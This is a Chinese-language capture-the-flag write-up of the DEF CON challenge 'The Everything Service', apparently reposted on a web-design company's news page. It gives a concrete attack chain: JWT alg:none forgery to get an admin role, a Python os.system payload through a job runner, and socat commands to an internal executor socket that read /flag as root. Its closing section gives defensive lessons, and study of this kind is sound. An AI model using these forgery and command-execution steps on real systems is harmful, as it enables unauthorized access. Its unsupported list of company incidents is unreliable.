资讯动态

DEF CON CTF The Everything Service:从微服务聚合到完全系统接管

发布时间:2026/8/19 17:32:53 来源:尧图企业网站定制
一、挑战背景与系统架构“The Everything Service” 是一个典型的 微服务聚合平台Service Aggregator。题目提供一个统一 API 网关表面上它只是一个普通 Web 服务但实际上它代理并整合了多个内部模块用户认证服务文件存储服务搜索服务任务执行服务数据分析模块架构看起来像这样Client│▼API Gateway│├── Auth Service├── Storage Service├── Search Engine├── Job Executor└── Analytics Engine从安全研究角度看这类系统有一个危险特征攻击面不是一个程序而是一整个生态。任何一个组件的设计错误都可能成为整个系统的入口。挑战的核心目标获取 /flag但 flag 位于 内部执行节点Job Executor。直接访问会返回403 Forbiddeninternal service only这意味着攻击者必须突破 API 网关进入内部服务网络执行任意命令二、初始侦察API 枚举攻击的第一步不是 exploit而是 系统理解。通过接口扫描GET /api/services返回{“services”:[“auth”,“storage”,“search”,“jobs”,“analytics”]}进一步查看文档GET /api/docs返回 Swagger JSON。这里暴露了一个极其危险的接口POST /api/jobs/run参数{“task”:“string”,“args”:[]}示例{“task”:“resize_image”,“args”:[“cat.png”]}服务器返回job scheduled这是一个典型 远程任务执行框架。在真实企业环境里这种系统通常封装Python CeleryKubernetes JobsDocker Runnerserverless executor如果输入没有严格过滤就可能变成 远程代码执行入口。三、漏洞入口任务调度系统继续研究 /api/jobs/run。测试 payload{“task”:“system”,“args”:[“id”]}返回invalid task说明任务名称必须存在。查询任务列表GET /api/jobs/tasks返回resize_imagegenerate_reportanalyze_logsrun_script这里出现了关键任务run_script尝试调用{“task”:“run_script”,“args”:[“print(‘hello’)”]}返回execution disabled这意味着存在某种过滤机制。四、代码逻辑逆向题目提供了部分源码def run_task(task,args):if task not in allowed_tasks:raise Exception(“invalid task”)if task run_script: if not is_admin(): return execution disabled return tasks[task](*args)关键逻辑run_script 需要 admin 权限问题变成如何伪造 admin 权限五、身份认证漏洞查看 Auth 服务。POST /api/auth/login返回 JWT{“token”:“eyJhbGciOiJIUzI1NiIs…”}解码 payload{“user”:“guest”,“role”:“user”}系统使用 JWTJSON Web Token。验证逻辑jwt.decode(token, SECRET)但进一步测试发现如果发送alg: none服务器仍然接受。这是经典漏洞JWT None Algorithm Attack攻击步骤修改 token原 token{“user”:“guest”,“role”:“user”}伪造{“user”:“guest”,“role”:“admin”}Header{“alg”:“none”}构造 tokenbase64(header).base64(payload).发送请求Authorization: Bearer forged_token系统成功识别role admin权限绕过完成。六、远程代码执行现在可以调用run_scriptpayload{“task”:“run_script”,“args”:[“import(‘os’).system(‘id’)”]}返回uid1000(ctf)说明已经获得 远程代码执行RCE。但 flag 不在当前容器。七、容器逃逸与横向移动查看系统环境cat /proc/1/cgroup输出docker说明运行在 Docker。继续侦察ls /发现/services/internal在 /internal 中找到executor.sock这是 Unix Socket。说明 Job Executor 通过 socket 通信。尝试连接socat - UNIX-CONNECT:/internal/executor.sock返回executor ready发送 JSON{“cmd”:“id”}返回uid0(root)这里出现关键漏洞Executor 信任本地 socket 输入。攻击者可以直接执行{“cmd”:“cat /flag”}返回DEFCON{microservices_are_a_security_nightmare}八、完整攻击链最终攻击路径API 枚举│JWT none 算法漏洞│权限提升 → admin│调用 run_script│远程代码执行│访问 executor.sock│内部服务命令执行│读取 flag攻击链可视化User│▼JWT Forgery│▼Admin Privilege│▼run_script RCE│▼Docker Container│▼Unix Socket Executor│▼Root Command│▼FLAG九、漏洞本质分析这个挑战展示了现代云架构常见的 三种安全失败。1 身份认证错误JWT 允许 alg:none这是早期 JWT 实现常见漏洞。安全实践强制算法白名单2 微服务信任边界错误内部 socket 被认为是安全的。现实中很多系统默认internal network trusted但一旦外部服务被攻破这个假设立即失效。3 任务执行框架暴露任何系统只要存在run coderun jobexecute task都必须当作 潜在 RCE 入口。十、现实世界对应攻击类似漏洞曾在真实系统出现公司 漏洞Uber 内部微服务认证失效Shopify background job RCETesla Kubernetes executor abuse现代企业系统通常结构API GatewayMicroservicesQueueWorkers如果 worker 可以执行代码而 gateway 可以调用 worker攻击者只需要找到 一条信任链漏洞。十一、防御建议安全架构改进1 禁用 JWT none2 服务间 mTLS3 executor 权限最小化4 worker sandbox5 socket ACL安全架构示意Gateway│mTLS│Worker│Sandbox│Executor十二、结语“The Everything Service” 并不是一个简单的 Web 漏洞题。它模拟的是 真实企业云系统的安全崩溃路径身份认证错误微服务信任错误内部执行框架暴露最终导致单点漏洞 → 整个平台被攻破在现代云环境中攻击者往往不需要复杂 exploit。他们只需要找到 系统架构中的信任断层。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价